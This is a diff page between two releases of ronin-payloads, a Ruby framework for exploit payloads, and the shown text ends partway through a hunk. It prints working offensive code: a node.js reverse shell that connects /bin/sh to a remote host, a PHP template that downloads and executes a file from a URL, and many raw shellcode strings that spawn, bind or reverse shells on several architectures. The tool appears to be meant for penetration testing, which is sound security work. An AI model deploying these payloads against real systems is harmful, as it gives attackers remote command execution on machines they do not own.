ronin-payloads 0.1.6 → 0.2.0.rc1

Sign up to get free protection for your applications and to get access to all the features.
Files changed (169) hide show
  1. checksums.yaml +4 -4
  2. data/.github/workflows/ruby.yml +1 -1
  3. data/.gitignore +1 -0
  4. data/.rubocop.yml +0 -3
  5. data/ChangeLog.md +41 -3
  6. data/Gemfile +6 -4
  7. data/README.md +26 -6
  8. data/Rakefile +10 -0
  9. data/data/completions/ronin-payloads +127 -0
  10. data/data/completions/ronin-payloads.yml +16 -0
  11. data/gemspec.yml +3 -1
  12. data/lib/ronin/payloads/asm_payload.rb +1 -1
  13. data/lib/ronin/payloads/binary_payload.rb +1 -1
  14. data/lib/ronin/payloads/builtin/bin/unix/reverse_shell.c +61 -0
  15. data/lib/ronin/payloads/builtin/bin/unix/reverse_shell.rb +84 -0
  16. data/lib/ronin/payloads/builtin/bin/windows/reverse_shell.c +63 -0
  17. data/lib/ronin/payloads/builtin/bin/windows/reverse_shell.rb +87 -0
  18. data/lib/ronin/payloads/builtin/cmd/awk/reverse_shell.rb +1 -1
  19. data/lib/ronin/payloads/builtin/cmd/bash/reverse_shell.rb +1 -1
  20. data/lib/ronin/payloads/builtin/cmd/lua/reverse_shell.rb +1 -1
  21. data/lib/ronin/payloads/builtin/cmd/netcat/bind_shell.rb +51 -0
  22. data/lib/ronin/payloads/builtin/cmd/node/reverse_shell.rb +1 -1
  23. data/lib/ronin/payloads/builtin/cmd/openssl/reverse_shell.rb +1 -1
  24. data/lib/ronin/payloads/builtin/cmd/perl/reverse_shell.rb +1 -1
  25. data/lib/ronin/payloads/builtin/cmd/php/reverse_shell.rb +1 -1
  26. data/lib/ronin/payloads/builtin/cmd/ping.rb +52 -0
  27. data/lib/ronin/payloads/builtin/cmd/powershell/reverse_shell.rb +1 -1
  28. data/lib/ronin/payloads/builtin/cmd/python/reverse_shell.rb +1 -1
  29. data/lib/ronin/payloads/builtin/cmd/ruby/reverse_shell.rb +1 -1
  30. data/lib/ronin/payloads/builtin/cmd/sleep.rb +49 -0
  31. data/lib/ronin/payloads/builtin/cmd/touch.rb +49 -0
  32. data/lib/ronin/payloads/builtin/cmd/windows/download.rb +70 -0
  33. data/lib/ronin/payloads/builtin/cmd/zsh/reverse_shell.rb +55 -0
  34. data/lib/ronin/payloads/builtin/groovy/reverse_shell.rb +54 -0
  35. data/lib/ronin/payloads/builtin/java/reverse_shell.rb +1 -1
  36. data/lib/ronin/payloads/builtin/js/nashorn/reverse_shell.rb +63 -0
  37. data/lib/ronin/payloads/builtin/js/node/reverse_shell.rb +55 -0
  38. data/lib/ronin/payloads/builtin/php/cmd_exec.rb +1 -1
  39. data/lib/ronin/payloads/builtin/php/download_exec.php.erb +96 -0
  40. data/lib/ronin/payloads/builtin/php/download_exec.rb +54 -0
  41. data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/bind_shell.rb +2 -3
  42. data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/exec_shell.rb +2 -3
  43. data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/reverse_shell.rb +2 -3
  44. data/lib/ronin/payloads/builtin/shellcode/freebsd/x86_64/exec_shell.rb +2 -3
  45. data/lib/ronin/payloads/builtin/shellcode/linux/arm/bind_shell.rb +2 -3
  46. data/lib/ronin/payloads/builtin/shellcode/linux/arm/exec_shell.rb +2 -3
  47. data/lib/ronin/payloads/builtin/shellcode/linux/arm/reverse_shell.rb +2 -3
  48. data/lib/ronin/payloads/builtin/shellcode/linux/mips/bind_shell.rb +2 -3
  49. data/lib/ronin/payloads/builtin/shellcode/linux/mips/exec_shell.rb +13 -14
  50. data/lib/ronin/payloads/builtin/shellcode/linux/mips/reverse_shell.rb +2 -3
  51. data/lib/ronin/payloads/builtin/shellcode/linux/ppc/exec_shell.rb +15 -16
  52. data/lib/ronin/payloads/builtin/shellcode/linux/ppc/reverse_shell.rb +2 -3
  53. data/lib/ronin/payloads/builtin/shellcode/linux/x86/bind_shell.rb +2 -3
  54. data/lib/ronin/payloads/builtin/shellcode/linux/x86/exec_shell.rb +2 -3
  55. data/lib/ronin/payloads/builtin/shellcode/linux/x86/reverse_shell.rb +2 -3
  56. data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/bind_shell.rb +2 -3
  57. data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/exec_shell.rb +11 -12
  58. data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/reverse_shell.rb +2 -3
  59. data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/exec_shell.rb +2 -3
  60. data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/reverse_shell.rb +2 -3
  61. data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/exec_shell.rb +2 -3
  62. data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/reverse_shell.rb +1 -1
  63. data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/bind_shell.rb +2 -3
  64. data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/exec_shell.rb +13 -14
  65. data/lib/ronin/payloads/builtin/shellcode/windows/x86_64/cmd.rb +21 -22
  66. data/lib/ronin/payloads/builtin/test/cmd.rb +53 -0
  67. data/lib/ronin/payloads/builtin/test/open_redirect.rb +1 -1
  68. data/lib/ronin/payloads/builtin/test/url.rb +53 -0
  69. data/lib/ronin/payloads/builtin/test/xss.rb +1 -1
  70. data/lib/ronin/payloads/c_payload.rb +4 -60
  71. data/lib/ronin/payloads/cli/command.rb +1 -1
  72. data/lib/ronin/payloads/cli/commands/build.rb +3 -3
  73. data/lib/ronin/payloads/cli/commands/completion.rb +64 -0
  74. data/lib/ronin/payloads/cli/commands/encode.rb +1 -1
  75. data/lib/ronin/payloads/cli/commands/encoder.rb +1 -1
  76. data/lib/ronin/payloads/cli/commands/encoders.rb +1 -1
  77. data/lib/ronin/payloads/cli/commands/irb.rb +1 -1
  78. data/lib/ronin/payloads/cli/commands/launch.rb +1 -1
  79. data/lib/ronin/payloads/cli/commands/list.rb +1 -1
  80. data/lib/ronin/payloads/cli/commands/show.rb +44 -1
  81. data/lib/ronin/payloads/cli/encoder_methods.rb +1 -1
  82. data/lib/ronin/payloads/cli/format_option.rb +1 -1
  83. data/lib/ronin/payloads/cli/payload_command.rb +1 -1
  84. data/lib/ronin/payloads/cli/payload_methods.rb +1 -1
  85. data/lib/ronin/payloads/cli/printing.rb +5 -2
  86. data/lib/ronin/payloads/cli/ruby_shell.rb +1 -1
  87. data/lib/ronin/payloads/cli.rb +1 -1
  88. data/lib/ronin/payloads/coldfusion_payload.rb +1 -1
  89. data/lib/ronin/payloads/command_payload.rb +1 -1
  90. data/lib/ronin/payloads/encoders/builtin/html/encode.rb +1 -1
  91. data/lib/ronin/payloads/encoders/builtin/js/encode.rb +1 -1
  92. data/lib/ronin/payloads/encoders/builtin/powershell/encode.rb +1 -1
  93. data/lib/ronin/payloads/encoders/builtin/shell/encode.rb +1 -1
  94. data/lib/ronin/payloads/encoders/builtin/sql/encode.rb +1 -1
  95. data/lib/ronin/payloads/encoders/builtin/xml/encode.rb +1 -1
  96. data/lib/ronin/payloads/encoders/encoder.rb +1 -1
  97. data/lib/ronin/payloads/encoders/exceptions.rb +1 -1
  98. data/lib/ronin/payloads/encoders/html_encoder.rb +1 -1
  99. data/lib/ronin/payloads/encoders/javascript_encoder.rb +1 -1
  100. data/lib/ronin/payloads/encoders/pipeline.rb +1 -1
  101. data/lib/ronin/payloads/encoders/powershell_encoder.rb +1 -1
  102. data/lib/ronin/payloads/encoders/registry.rb +1 -1
  103. data/lib/ronin/payloads/encoders/shell_encoder.rb +1 -1
  104. data/lib/ronin/payloads/encoders/sql_encoder.rb +1 -1
  105. data/lib/ronin/payloads/encoders/xml_encoder.rb +1 -1
  106. data/lib/ronin/payloads/encoders.rb +1 -1
  107. data/lib/ronin/payloads/exceptions.rb +1 -1
  108. data/lib/ronin/payloads/go_payload.rb +6 -2
  109. data/lib/ronin/payloads/groovy_payload.rb +49 -0
  110. data/lib/ronin/payloads/html_payload.rb +1 -1
  111. data/lib/ronin/payloads/java_payload.rb +6 -2
  112. data/lib/ronin/payloads/javascript_payload.rb +1 -1
  113. data/lib/ronin/payloads/jsp_payload.rb +1 -1
  114. data/lib/ronin/payloads/metadata/arch.rb +1 -1
  115. data/lib/ronin/payloads/metadata/os.rb +1 -1
  116. data/lib/ronin/payloads/mixins/binary.rb +1 -1
  117. data/lib/ronin/payloads/mixins/bind_shell.rb +1 -1
  118. data/lib/ronin/payloads/mixins/build_dir.rb +1 -1
  119. data/lib/ronin/payloads/mixins/c_compiler.rb +250 -0
  120. data/lib/ronin/payloads/mixins/erb.rb +1 -1
  121. data/lib/ronin/payloads/mixins/network.rb +1 -1
  122. data/lib/ronin/payloads/mixins/post_ex.rb +1 -1
  123. data/lib/ronin/payloads/mixins/resolve_host.rb +1 -1
  124. data/lib/ronin/payloads/mixins/reverse_shell.rb +3 -1
  125. data/lib/ronin/payloads/mixins/tempfile.rb +1 -1
  126. data/lib/ronin/payloads/mixins/typescript.rb +6 -2
  127. data/lib/ronin/payloads/nashorn_payload.rb +51 -0
  128. data/lib/ronin/payloads/node_js_payload.rb +1 -1
  129. data/lib/ronin/payloads/payload.rb +1 -1
  130. data/lib/ronin/payloads/php_payload.rb +1 -1
  131. data/lib/ronin/payloads/powershell_payload.rb +1 -1
  132. data/lib/ronin/payloads/python_payload.rb +1 -1
  133. data/lib/ronin/payloads/registry.rb +1 -1
  134. data/lib/ronin/payloads/root.rb +1 -1
  135. data/lib/ronin/payloads/ruby_payload.rb +1 -1
  136. data/lib/ronin/payloads/rust_payload.rb +6 -2
  137. data/lib/ronin/payloads/shell_payload.rb +1 -1
  138. data/lib/ronin/payloads/shellcode/bind_shell_payload.rb +1 -1
  139. data/lib/ronin/payloads/shellcode/exec_shell_payload.rb +1 -1
  140. data/lib/ronin/payloads/shellcode/reverse_shell_payload.rb +1 -1
  141. data/lib/ronin/payloads/shellcode_payload.rb +1 -1
  142. data/lib/ronin/payloads/sql_payload.rb +1 -1
  143. data/lib/ronin/payloads/url_payload.rb +1 -1
  144. data/lib/ronin/payloads/version.rb +2 -2
  145. data/lib/ronin/payloads/xml_payload.rb +1 -1
  146. data/lib/ronin/payloads.rb +1 -1
  147. data/man/ronin-payloads-build.1 +16 -30
  148. data/man/ronin-payloads-build.1.md +15 -11
  149. data/man/ronin-payloads-completion.1 +76 -0
  150. data/man/ronin-payloads-completion.1.md +78 -0
  151. data/man/ronin-payloads-encode.1 +12 -24
  152. data/man/ronin-payloads-encode.1.md +11 -7
  153. data/man/ronin-payloads-encoder.1 +9 -18
  154. data/man/ronin-payloads-encoder.1.md +8 -4
  155. data/man/ronin-payloads-encoders.1 +8 -16
  156. data/man/ronin-payloads-encoders.1.md +7 -3
  157. data/man/ronin-payloads-irb.1 +8 -15
  158. data/man/ronin-payloads-irb.1.md +6 -2
  159. data/man/ronin-payloads-launch.1 +11 -20
  160. data/man/ronin-payloads-launch.1.md +9 -5
  161. data/man/ronin-payloads-list.1 +9 -16
  162. data/man/ronin-payloads-list.1.md +7 -3
  163. data/man/ronin-payloads-new.1.md +13 -9
  164. data/man/ronin-payloads-show.1 +11 -20
  165. data/man/ronin-payloads-show.1.md +9 -5
  166. data/man/ronin-payloads.1 +18 -26
  167. data/man/ronin-payloads.1.md +17 -10
  168. data/scripts/setup +58 -0
  169. metadata +30 -4
@@ -0,0 +1,55 @@
1
+ # frozen_string_literal: true
2
+ #
3
+ # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
+ # payloads.
5
+ #
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
+ #
8
+ # ronin-payloads is free software: you can redistribute it and/or modify
9
+ # it under the terms of the GNU Lesser General Public License as published
10
+ # by the Free Software Foundation, either version 3 of the License, or
11
+ # (at your option) any later version.
12
+ #
13
+ # ronin-payloads is distributed in the hope that it will be useful,
14
+ # but WITHOUT ANY WARRANTY; without even the implied warranty of
15
+ # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16
+ # GNU Lesser General Public License for more details.
17
+ #
18
+ # You should have received a copy of the GNU Lesser General Public License
19
+ # along with ronin-payloads. If not, see <https://www.gnu.org/licenses/>.
20
+ #
21
+
22
+ require 'ronin/payloads/node_js_payload'
23
+ require 'ronin/payloads/mixins/reverse_shell'
24
+
25
+ module Ronin
26
+ module Payloads
27
+ module JS
28
+ module Node
29
+ #
30
+ # A basic node.js JavaScript reverse shell.
31
+ #
32
+ # @since 0.2.0
33
+ #
34
+ class ReverseShell < NodeJSPayload
35
+
36
+ include Mixins::ReverseShell
37
+
38
+ register 'js/node/reverse_shell'
39
+
40
+ description <<~DESC
41
+ A basic node.js JavaScript reverse shell.
42
+ DESC
43
+
44
+ #
45
+ # Builds the node.js JavaScript reverse shell payload.
46
+ #
47
+ def build
48
+ @payload = %{(function(){var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(#{port}, #{host.dump}, function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();}
49
+ end
50
+
51
+ end
52
+ end
53
+ end
54
+ end
55
+ end
@@ -3,7 +3,7 @@
3
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
4
  # payloads.
5
5
  #
6
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
7
7
  #
8
8
  # ronin-payloads is free software: you can redistribute it and/or modify
9
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -0,0 +1,96 @@
1
+ <?php
2
+ function download_via_fopen($url,$output)
3
+ {
4
+ $input = fopen($url,'rb');
5
+
6
+ if (!$input)
7
+ {
8
+ return false;
9
+ }
10
+
11
+ while (!feof($input))
12
+ {
13
+ $chunk = fread($input,4096);
14
+
15
+ if ($chunk === false)
16
+ {
17
+ return false;
18
+ }
19
+
20
+ if (fwrite($output,$chunk) === false)
21
+ {
22
+ return false;
23
+ }
24
+ }
25
+
26
+ return true;
27
+ }
28
+
29
+ function download_via_curl($url,$output)
30
+ {
31
+ $ch = curl_init();
32
+
33
+ curl_setopt($ch, CURLOPT_URL, $url);
34
+ curl_setopt($ch, CURLOPT_HEADER, 0);
35
+ curl_setopt($ch, CURLOPT_FILE, $output);
36
+
37
+ $response = curl_exec($ch);
38
+
39
+ if ($response === false)
40
+ {
41
+ echo "curl: " . curl_error($ch);
42
+ return false;
43
+ }
44
+
45
+ return true;
46
+ }
47
+
48
+ function download($url)
49
+ {
50
+ $filename = basename($url);
51
+ $dest = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $filename;
52
+ $output = fopen($dest,'wb');
53
+
54
+ if (ini_get('allow_url_fopen'))
55
+ {
56
+ if (download_via_fopen($url,$output) === false)
57
+ {
58
+ return NULL;
59
+ }
60
+ }
61
+ else if (function_exists('curl_init'))
62
+ {
63
+ if (download_via_fopen($url,$output) === false)
64
+ {
65
+ return NULL;
66
+ }
67
+ }
68
+
69
+ fflush($output);
70
+ fclose($output);
71
+ return $dest;
72
+ }
73
+
74
+ function download_and_exec($url)
75
+ {
76
+ $path = download($url);
77
+
78
+ if ($path === NULL)
79
+ {
80
+ return false;
81
+ }
82
+
83
+ $perms = fileperms($path);
84
+ chmod($path,$perms | 0700);
85
+
86
+ if (pcntl_fork() == 0)
87
+ {
88
+ pcntl_exec($path);
89
+ exit(0);
90
+ }
91
+
92
+ return true;
93
+ }
94
+
95
+ download_and_exec(<%= @params[:url].to_s.dump %>);
96
+ ?>
@@ -0,0 +1,54 @@
1
+ # frozen_string_literal: true
2
+ #
3
+ # ronin-payloads - A Ruby micro-framework for writing and running exploit
4
+ # payloads.
5
+ #
6
+ # Copyright (c) 2007-2022 Hal Brodigan (postmodern.mod3 at gmail.com)
7
+ #
8
+ # ronin-payloads is free software: you can redistribute it and/or modify
9
+ # it under the terms of the GNU Lesser General Public License as published
10
+ # by the Free Software Foundation, either version 3 of the License, or
11
+ # (at your option) any later version.
12
+ #
13
+ # ronin-payloads is distributed in the hope that it will be useful,
14
+ # but WITHOUT ANY WARRANTY; without even the implied warranty of
15
+ # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16
+ # GNU Lesser General Public License for more details.
17
+ #
18
+ # You should have received a copy of the GNU Lesser General Public License
19
+ # along with ronin-payloads. If not, see <https://www.gnu.org/licenses/>.
20
+ #
21
+
22
+ require 'ronin/payloads/php_payload'
23
+ require 'ronin/payloads/mixins/erb'
24
+
25
+ module Ronin
26
+ module Payloads
27
+ module PHP
28
+ #
29
+ # A basic PHP download and exec payload.
30
+ #
31
+ # @since 0.2.0
32
+ #
33
+ class DownloadExec < PHPPayload
34
+
35
+ include Mixins::ERB
36
+
37
+ register 'php/download_exec'
38
+
39
+ param :url, URI, required: true,
40
+ desc: 'The URL to download and execute'
41
+
42
+ TEMPLATE = File.join(__dir__,'download_exec.php.erb')
43
+
44
+ #
45
+ # Builds the PHP command exec payload.
46
+ #
47
+ def build
48
+ @payload = erb(TEMPLATE)
49
+ end
50
+
51
+ end
52
+ end
53
+ end
54
+ end
@@ -1,10 +1,9 @@
1
- # encoding: ASCII-8BIT
2
1
  # frozen_string_literal: true
3
2
  #
4
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
5
4
  # payloads.
6
5
  #
7
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
8
7
  #
9
8
  # ronin-payloads is free software: you can redistribute it and/or modify
10
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -59,7 +58,7 @@ module Ronin
59
58
  "\x31\xc0\x50\x50\x52\xb0\x1e\x50\xcd\x80\xb1\x03\xbb\xff\xff" \
60
59
  "\xff\xff\x89\xc2\x43\x53\x52\xb0\x5a\x50\xcd\x80\x80\xe9\x01" \
61
60
  "\x75\xf3\x31\xc0\x50\x50\x56\xb0\x3b\x50\xcd\x80\xe8\x97\xff" \
62
- "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"
61
+ "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23".b
63
62
  end
64
63
 
65
64
  end
@@ -1,10 +1,9 @@
1
- # encoding: ASCII-8BIT
2
1
  # frozen_string_literal: true
3
2
  #
4
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
5
4
  # payloads.
6
5
  #
7
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
8
7
  #
9
8
  # ronin-payloads is free software: you can redistribute it and/or modify
10
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -54,7 +53,7 @@ module Ronin
54
53
  def build
55
54
  @payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68" \
56
55
  "\x68\x2f\x62\x69\x6e\x89\xe3\x50" \
57
- "\x54\x53\xb0\x3b\x50\xcd\x80"
56
+ "\x54\x53\xb0\x3b\x50\xcd\x80".b
58
57
  end
59
58
 
60
59
  end
@@ -1,10 +1,9 @@
1
- # encoding: ASCII-8BIT
2
1
  # frozen_string_literal: true
3
2
  #
4
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
5
4
  # payloads.
6
5
  #
7
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
8
7
  #
9
8
  # ronin-payloads is free software: you can redistribute it and/or modify
10
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -57,7 +56,7 @@ module Ronin
57
56
  "\xe1\x6a\x10\x51\x52\x31\xc0\xb0\x62\x50\xcd\x80\x31\xc9" \
58
57
  "\x51\x52\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03" \
59
58
  "\x75\xf0\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" \
60
- "\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80"
59
+ "\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80".b
61
60
  end
62
61
 
63
62
  end
@@ -1,10 +1,9 @@
1
- # encoding: ASCII-8BIT
2
1
  # frozen_string_literal: true
3
2
  #
4
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
5
4
  # payloads.
6
5
  #
7
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
8
7
  #
9
8
  # ronin-payloads is free software: you can redistribute it and/or modify
10
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -54,7 +53,7 @@ module Ronin
54
53
  def build
55
54
  @payload = "\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb" \
56
55
  "\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53" \
57
- "\x54\x5f\x52\x57\x54\x5e\x0f\x05"
56
+ "\x54\x5f\x52\x57\x54\x5e\x0f\x05".b
58
57
  end
59
58
 
60
59
  end
@@ -1,10 +1,9 @@
1
- # encoding: ASCII-8BIT
2
1
  # frozen_string_literal: true
3
2
  #
4
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
5
4
  # payloads.
6
5
  #
7
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
8
7
  #
9
8
  # ronin-payloads is free software: you can redistribute it and/or modify
10
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -120,7 +119,7 @@ module Ronin
120
119
  "\x08\x00\x8d\xe2" \
121
120
  "\x00\x10\x8d\xe2" \
122
121
  "\x04\x20\x8d\xe2" \
123
- "\x0b\x00\x90\xef"
122
+ "\x0b\x00\x90\xef".b
124
123
  end
125
124
 
126
125
  end
@@ -1,10 +1,9 @@
1
- # encoding: ASCII-8BIT
2
1
  # frozen_string_literal: true
3
2
  #
4
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
5
4
  # payloads.
6
5
  #
7
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
8
7
  #
9
8
  # ronin-payloads is free software: you can redistribute it and/or modify
10
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -61,7 +60,7 @@ module Ronin
61
60
  "\xc2\x51\x03\x37" \
62
61
  "\x01\xdf\x2f\x62" \
63
62
  "\x69\x6e\x2f\x2f" \
64
- "\x73\x68"
63
+ "\x73\x68".b
65
64
  end
66
65
 
67
66
  end
@@ -1,10 +1,9 @@
1
- # encoding: ASCII-8BIT
2
1
  # frozen_string_literal: true
3
2
  #
4
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
5
4
  # payloads.
6
5
  #
7
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
8
7
  #
9
8
  # ronin-payloads is free software: you can redistribute it and/or modify
10
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -73,7 +72,7 @@ module Ronin
73
72
  "#{packed_port}" \
74
73
  "#{packed_ipv4}" \
75
74
  \
76
- "/bin/sh\0"
75
+ "/bin/sh\0".b
77
76
  end
78
77
 
79
78
  end
@@ -1,10 +1,9 @@
1
- # encoding: ASCII-8BIT
2
1
  # frozen_string_literal: true
3
2
  #
4
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
5
4
  # payloads.
6
5
  #
7
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
8
7
  #
9
8
  # ronin-payloads is free software: you can redistribute it and/or modify
10
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -119,7 +118,7 @@ module Ronin
119
118
  "\xf0\xff\xa5\x23" \
120
119
  "\xab\x0f\x02\x24" \
121
120
  "\x0c\x01\x01\x01" \
122
- "/bin/sh"
121
+ "/bin/sh".b
123
122
  end
124
123
 
125
124
  end
@@ -1,10 +1,9 @@
1
- # encoding: ASCII-8BIT
2
1
  # frozen_string_literal: true
3
2
  #
4
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
5
4
  # payloads.
6
5
  #
7
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
8
7
  #
9
8
  # ronin-payloads is free software: you can redistribute it and/or modify
10
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -52,18 +51,18 @@ module Ronin
52
51
  # Builds the shellcode.
53
52
  #
54
53
  def build
55
- @payload = "\x28\x06\xff\xff" + # slti a2,zero,-1
56
- "\x3c\x0f\x2f\x2f" + # lui t7,0x2f2f
57
- "\x35\xef\x62\x69" + # ori t7,t7,0x6269
58
- "\xaf\xaf\xff\xf4" + # sw t7,-12(sp)
59
- "\x3c\x0e\x6e\x2f" + # lui t6,0x6e2f
60
- "\x35\xce\x73\x68" + # ori t6,t6,0x7368
61
- "\xaf\xae\xff\xf8" + # sw t6,-8(sp)
62
- "\xaf\xa0\xff\xfc" + # sw zero,-4(sp)
63
- "\x27\xa4\xff\xf4" + # addiu a0,sp,-12
64
- "\x28\x05\xff\xff" + # slti a1,zero,-1
65
- "\x24\x02\x0f\xab" + # li v0,4011
66
- "\x01\x01\x01\x0c" # syscall 0x40404
54
+ @payload = "\x28\x06\xff\xff".b + # slti a2,zero,-1
55
+ "\x3c\x0f\x2f\x2f".b + # lui t7,0x2f2f
56
+ "\x35\xef\x62\x69".b + # ori t7,t7,0x6269
57
+ "\xaf\xaf\xff\xf4".b + # sw t7,-12(sp)
58
+ "\x3c\x0e\x6e\x2f".b + # lui t6,0x6e2f
59
+ "\x35\xce\x73\x68".b + # ori t6,t6,0x7368
60
+ "\xaf\xae\xff\xf8".b + # sw t6,-8(sp)
61
+ "\xaf\xa0\xff\xfc".b + # sw zero,-4(sp)
62
+ "\x27\xa4\xff\xf4".b + # addiu a0,sp,-12
63
+ "\x28\x05\xff\xff".b + # slti a1,zero,-1
64
+ "\x24\x02\x0f\xab".b + # li v0,4011
65
+ "\x01\x01\x01\x0c".b # syscall 0x40404
67
66
  end
68
67
 
69
68
  end
@@ -1,10 +1,9 @@
1
- # encoding: ASCII-8BIT
2
1
  # frozen_string_literal: true
3
2
  #
4
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
5
4
  # payloads.
6
5
  #
7
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
8
7
  #
9
8
  # ronin-payloads is free software: you can redistribute it and/or modify
10
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -101,7 +100,7 @@ module Ronin
101
100
  "\x27\xa4\xff\xf4" \
102
101
  "\x28\x05\xff\xff" \
103
102
  "\x24\x02\x0f\xab" \
104
- "\x01\x01\x01\x0c"
103
+ "\x01\x01\x01\x0c".b
105
104
  end
106
105
 
107
106
  end
@@ -1,10 +1,9 @@
1
- # encoding: ASCII-8BIT
2
1
  # frozen_string_literal: true
3
2
  #
4
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
5
4
  # payloads.
6
5
  #
7
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
8
7
  #
9
8
  # ronin-payloads is free software: you can redistribute it and/or modify
10
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -52,20 +51,20 @@ module Ronin
52
51
  # Builds the shellcode.
53
52
  #
54
53
  def build
55
- @payload = "\x7c\x3f\x0b\x78" + # mr r31,r1
56
- "\x7c\xa5\x2a\x79" + # xor. r5,r5,r5
57
- "\x42\x40\xff\xf9" + # bdzl+ 10000454< main>
58
- "\x7f\x08\x02\xa6" + # mflr r24
59
- "\x3b\x18\x01\x34" + # addi r24,r24,308
60
- "\x98\xb8\xfe\xfb" + # stb r5,-261(r24)
61
- "\x38\x78\xfe\xf4" + # addi r3,r24,-268
62
- "\x90\x61\xff\xf8" + # stw r3,-8(r1)
63
- "\x38\x81\xff\xf8" + # addi r4,r1,-8
64
- "\x90\xa1\xff\xfc" + # stw r5,-4(r1)
65
- "\x3b\xc0\x01\x60" + # li r30,352
66
- "\x7f\xc0\x2e\x70" + # srawi r0,r30,5
67
- "\x44\xde\xad\xf2" + # .long 0x44deadf2
68
- "/bin/shZ" # the last byte becomes NULL
54
+ @payload = "\x7c\x3f\x0b\x78".b + # mr r31,r1
55
+ "\x7c\xa5\x2a\x79".b + # xor. r5,r5,r5
56
+ "\x42\x40\xff\xf9".b + # bdzl+ 10000454< main>
57
+ "\x7f\x08\x02\xa6".b + # mflr r24
58
+ "\x3b\x18\x01\x34".b + # addi r24,r24,308
59
+ "\x98\xb8\xfe\xfb".b + # stb r5,-261(r24)
60
+ "\x38\x78\xfe\xf4".b + # addi r3,r24,-268
61
+ "\x90\x61\xff\xf8".b + # stw r3,-8(r1)
62
+ "\x38\x81\xff\xf8".b + # addi r4,r1,-8
63
+ "\x90\xa1\xff\xfc".b + # stw r5,-4(r1)
64
+ "\x3b\xc0\x01\x60".b + # li r30,352
65
